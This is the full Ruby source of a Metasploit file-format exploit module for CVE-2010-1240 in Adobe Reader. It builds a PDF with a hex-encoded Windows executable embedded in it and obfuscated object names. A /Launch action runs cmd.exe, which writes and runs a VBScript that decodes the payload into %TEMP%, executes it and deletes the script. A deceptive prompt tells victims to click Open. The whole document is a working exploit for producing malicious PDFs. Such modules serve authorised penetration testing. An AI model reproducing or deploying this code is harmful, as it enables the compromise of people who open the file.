Adobe PDF Escape EXE Social Engineering (No JavaScript)

`##  
# $Id: adobe_pdf_embedded_exe_nojs.rb 10126 2010-08-24 18:20:16Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
#  
# Modified version of the Adobe PDF Embedded EXE Social Engineering "adobe_pdf_embedded_exe.rb".  
# This version does not require JavaScript to be enabled and does not required the EXE to be  
# attached to the PDF. The EXE is embedded in the PDF in a non-standard method using HEX  
# encoding.  
#  
# Lots of reused code from adobe_pdf_embedded_exe.rb and the other PDF modules to make the PDF.  
# Thanks to all those that wrote the code for those modules, as I probably could not have  
# wrote this module without borrowing code from them.  
#  
  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Adobe PDF Escape EXE Social Engineering (No JavaScript)',  
'Description' => %q{  
This module embeds a Metasploit payload into an existing PDF file in  
a non-standard method. The resulting PDF can be sent to a target as  
part of a social engineering attack.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Jeremy Conway <jeremy[at]sudosecure.net>',  
],  
'Version' => '$Revision: 10126 $',  
'References' =>  
[  
[ 'CVE', '2010-1240' ],  
[ 'OSVDB', '63667' ],  
[ 'URL', 'http://blog.didierstevens.com/2010/04/06/update-escape-from-pdf/' ],  
[ 'URL', 'http://blog.didierstevens.com/2010/03/31/escape-from-foxit-reader/' ],  
[ 'URL', 'http://blog.didierstevens.com/2010/03/29/escape-from-pdf/' ]  
],  
'Payload' =>  
{  
'Space' => 2048,  
'DisableNops' => true,  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Adobe Reader <= v9.3.3 (Windows XP SP3 English)', { 'Ret' => '' } ]  
],  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('EXENAME', [ false, 'The Name of payload exe.', 'msf.exe']),  
OptString.new('FILENAME', [ false, 'The output filename.', 'evil.pdf']),  
OptString.new('OUTPUTPATH', [ false, 'The location to output the file.', './data/exploits/']),  
OptString.new('LAUNCH_MESSAGE', [ false, 'The message to display in the File: area',  
"To view the encrypted content please tick the \"Do not show this message again\" box and press Open."]),  
], self.class)  
end  
  
def exploit  
  
# Create the pdf  
print_status("Making PDF")  
pdf = make_pdf()  
print_status("Creating '#{datastore['FILENAME']}' file...")  
file_create(pdf)  
end  
  
def pdf_exe(payload_exe)  
  
if !(payload_exe and payload_exe.length > 0)  
print_status("Using '#{datastore['PAYLOAD']}' as payload...")  
payload_exe = Msf::Util::EXE.to_win32pe(framework,payload.encoded)  
hex_payload = Rex::Text.to_hex(payload_exe)  
else  
print_status("Using '#{datastore['EXENAME']}' as payload...")  
hex_payload = Rex::Text.to_hex_dump(payload_exe,16)  
end  
  
return hex_payload  
end  
  
def ioDef(id)  
"%d 0 obj" % id  
end  
  
def ioRef(id)  
"%d 0 R" % id  
end  
  
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/  
def nObfu(str)  
result = ""  
str.scan(/./u) do |c|  
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'  
result << "#%x" % c.unpack("C*")[0]  
else  
result << c  
end  
end  
result  
end  
  
def ASCIIHexWhitespaceEncode(str)  
result = ""  
whitespace = ""  
str.each_byte do |b|  
result << whitespace << "%02x" % b  
whitespace = " " * (rand(3) + 1)  
end  
result << ">"  
end  
  
def make_pdf()  
  
file_name = datastore['FILENAME']  
exe_name = datastore['EXENAME']  
launch_msg = datastore['LAUNCH_MESSAGE']  
  
xref = []  
eol = "\x0d\x0a"  
endobj = "endobj" << eol  
  
pdf = "%PDF-1.5" << eol  
payload_exe = Msf::Util::EXE.to_win32pe(framework,payload.encoded)  
hex_payload = Rex::Text.to_hex(payload_exe)  
pdf << hex_payload << eol  
pdf << ioDef(1) << nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << nObfu("/OpenAction ") << ioRef(5) << ">>" << endobj  
xref << pdf.length  
pdf << ioDef(2) << nObfu("<</Type/Outlines/Count 0>>") << endobj  
xref << pdf.length  
pdf << ioDef(3) << nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>") << endobj  
xref << pdf.length  
pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>") << endobj  
xref << pdf.length  
pdf << ioDef(5) << nObfu("<</Type/Action/S/Launch/Win ") << "<< "  
pdf << "/F (cmd.exe) /P (/C echo Set o=CreateObject^(\"Scripting.FileSystemObject\"^):Set f=o.OpenTextFile^(\"#{file_name}\",1,True^):"  
pdf << "f.SkipLine:Set w=CreateObject^(\"WScript.Shell\"^):Set g=o.OpenTextFile^(w.ExpandEnvironmentStrings^(\"%TEMP%\"^)+\"\\\\#{exe_name}\",2,True^):a=Split^(Trim^(Replace^(f.ReadLine,\"\\\\x\",\" \"^)^)^):"  
pdf << "for each x in a:g.Write^(Chr^(\"&h\" ^& x^)^):next:g.Close:f.Close > 1.vbs && cscript //B 1.vbs && start %TEMP%\\\\#{exe_name} && del /F 1.vbs"  
pdf << eol << eol << eol << "#{launch_msg})"  
pdf << ">>>>" << endobj  
xref << pdf.length  
xrefPosition = pdf.length  
pdf << "xref" << eol  
pdf << "0 %d" % (xref.length + 1) << eol  
pdf << "0000000000 65535 f" << eol  
xref.each do |index|  
pdf << "%010d 00000 n" % index << eol  
end  
pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol  
pdf << "startxref" << eol  
pdf << xrefPosition.to_s() << eol  
pdf << "%%EOF" << eol  
  
end  
end  
`